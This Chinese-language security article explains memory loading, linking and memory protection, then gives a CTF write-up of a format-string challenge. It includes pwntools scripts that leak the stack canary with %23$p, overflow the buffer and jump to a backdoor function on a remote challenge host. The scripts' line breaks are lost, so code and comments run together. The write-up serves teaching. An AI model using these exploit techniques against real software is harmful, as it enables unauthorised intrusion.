行业新闻

浅析有关内存的一些trick

浅析有关内存的一些trick

0x0:前言

此篇文章对于内存的知识做了一定讲解,其中包含程序运行、链接,以及内存保护的方法。由此也引出了诸多关于内存的安全问题,格式化字符串中如何运用%p来进行漏洞利用。

0x1:内存

内存用于存放数据的硬件,程序执行前先放到内存中才能被CPU处理。

32位操作系统,需要32个二进制位来表示:v2-eb2ef4bc8b8f072475010aa299af6e11_1440w.png

进程运行原理——指令

写的代码要翻译成CPU能够识别的指令。

这些指令会操纵CPU应该去内存的哪个地方读/写数据。

在这个例子中,指令直接给出变量X的实际存放地址,但是在声称机器指令的时候不知道该进程的数据会放到什么位置,所以编译生成的指令中一般使用的是逻辑地址。v2-3d77fa883d23b881a9bfbba979aed7af_1440w.png

装入的三种方式:

绝对装入:在编译时,如果知道程序将放到内存中的哪个位置,编译程序将产生绝对地址的目标代码。装入程序按照装入模块中的地址,将程序和数据装入内存。

静态重定位:编译、链接后的装入模块的地址都是从0开始,指令中使用的地址、数据存放的地址都是相对于逻辑地址而言的。根据内存的当前情况,将装入模块装入到内存的适当位置,装入时对地址进行重定位,将逻辑地址变换为物理地址。

动态重定位:动态运行时装入。编译、链接后的装入模块的地址从0开始,装入程序把装入模块装入内存后,不会把逻辑地址改为物理地址。在程序要执行的时候,发生地址转换,装入内存后的所有地址依然是逻辑地址。这种方式需要一个重定位寄存器。


采用动态重定位:允许程序在内存中发生移动。v2-93115e193fdfbbe306d6975094d2c019_1440w.png链接的三种方式:

静态链接:程序运行之前,先将各个目标模块及他们所需要的库函数连接成一个完整的可执行文件,之后不再拆开。

装入时动态链接:将各个目标模块装入内存时,边装入边链接的链接方式。

运行时动态链接:在程序执行中需要该目标模块时,才对它进行链接。优点是:便于修改和更新,便于实现对目标模块的共享(.o文件可能不全链接)。

0x2:内存管理

操作系统对内存的管理:

1.操作系统负责内存空间的分配与回收

2.操作系统需要提供某种技术从逻辑上对内存空间进行扩充

3.提供地址转换功能,负责程序的逻辑地址与物理地址的转换\

4.提供内存保护,保证各个进程在各自存储空间内运行,互不干扰

内存保护的方法:

1.CPU设置上下限寄存器,存放地址的上下限地址。进程的指令访问某个地址时,CPU检查是否越界。v2-3fc518da2f1a06c76304ce28e01be99b_1440w.png2.采用重定位寄存器和界地址寄存器。

重定位寄存器:存放进程的其实物理地址。

界地址寄存器:进程最大的逻辑地址。

0x3:溢出示例

v2-3980904ae9b2614ecb11b295908c94e1_1440w.png
ida把他打开,发现了奇怪的东西


v2-05005979fc11c9e768cb4a77bd10f172_1440w.png
这里说v3必须等于2,下面又说v3等于1

在这里我们就想到了格式化字符串漏洞

v2-47fcb811f08bd17bc1870188300deb99_1440w.pngv2-247e8ee067b060a525818fe55d719fbd_1440w.pngv2-59a0c350aa0c2013122b4b474b1a0915_1440w.png

下断点,查看栈中的内容v2-4e0947ab2c2b921656ffe5bec9e2a3eb_1440w.png
%p是第一跳地址

%2$p是第二跳地址v2-6df8da2690d9bb13088f6dc603af62ef_1440w.png

我们以AAAA做标记,发现41 偏移到链子的第6个v2-bc13bd53f3874d02eb12729f4ac5a777_1440w.png

我们追溯到第六跳地址v2-5428043a921295ddfaa7446dd759850c_1440w.pngv2-bdc1513c8ac743f5e75011702aff57c7_1440w.png

解题思路:首先泄露buf地址

通过格式化字符串漏洞,传递%1$p,泄露偏移为1的内容,这个偏移为1的是什么内容呢?是RSI的内容,RSI记录了格式化字符串的地址,也就是buf的首地址。

64位程序传递前六个参数通过RDI、RSI、RDX、RCX、R8、R9传递,可以传递多个%p查看一下,前五个输出的是不是RSI、RDX、RCX、R8、R9寄存器中的内容。

另外在这里找到了后门函数:

v2-8601aee71131f9f19dbfaad1335e5b4b_1440w.png

格式化字符串漏洞是因为printf的输出完全由用户控制:

一个是通过%p(将参数以十六进制方式打印)来实现任意内存泄露。

64位前六个参数位于寄存器,第多少个%p是目的内存则可以通过栈帧进行计算,八位(0x8)为一个%p。
再就是通过%n(把输出字符的个数写入到地址中)来实现任意内存写入:


v2-14e963e507784edcbe92348a79c532a8_1440w.png
我们在这进行注入:

v2-4cd4f22fd81c26e07d7673766bcc5faa_1440w.pngv2-d7031b73a0fea1f3e99a680b884a412c_1440w.png

理解到是第六个字符串后,我们进行exp的编写:fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

第一个参数表示格式化字符串的偏移;

第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress};

第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;

第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。

fmtstr_payload函数返回的就是payload:

v2-b2efaa0e182da73011eda31e9470367a_1440w.png
这里的0x98是因为:v2-76a11f8f7e0243b127247da1630a2739_1440w.pngbuf寄存器离着栈底有90h,再加上64位寄存器,8h,所以是98h:v2-4393812bf98da8c33729347197be1684_1440w.png
v2-7f47b4c831997ed9e3f06e3a1d6e9e43_1440w.png
我们利用python在select  your weapon 下断点,进行调试:

from pwn import *context.log_level='debug'#io = remote()io = process('./2','b *0x0000000000400949')#在0x0000000000400949进行下断点gdb.attach (io)#进行gdb调试io.sendlineafter("Select your weapon",'2')#sendlineafter是在第一个参数后发送第二个参数

第二种方法:

1.泄露野指针到 buf的距离,这个题是6跳。

2.我们需要计算的偏移:buf到ebp的距离, 所以野指针到ebp的距离就是野指针到buf的距离加上buf到ebp的距离,再减去8位,这样就得到了canary的地址,利用%23$p进行读取内容。

然后在通过buffer overflow覆盖返回地址:

from pwn import *context.log_level='debug'#io = process("./2")io = remote('111.200.241.244',52636)io.sendline('2')#输入2,往下进行io.sendline('aaaa%23$p')#这里是算出来的23位print(io.recvuntil('aaaa'))#这里用aaaa标志一下canary = int(io.recvuntil('\n'),16)#记录一下canary的内容print(canary)io.sendline('1')payload = (0x90-0x8)*b'A'+p64(canary)+b'AAAAAAAA'+p64(0x00000000004008DA)#这里就是计算距离,进行栈溢出,并且利用已有后门打远程io.sendline(payload)io.interactive()

0x4:小结

操作系统是一个很庞大的知识体系,其中不仅包含到内存,同时也包含进程、I/O等一系列的问题,是诠释计算机如何运行的问题。基于此,操作系统中的内部结构是很复杂且精妙的,同时,这也造成了关于操作系统的安全问题。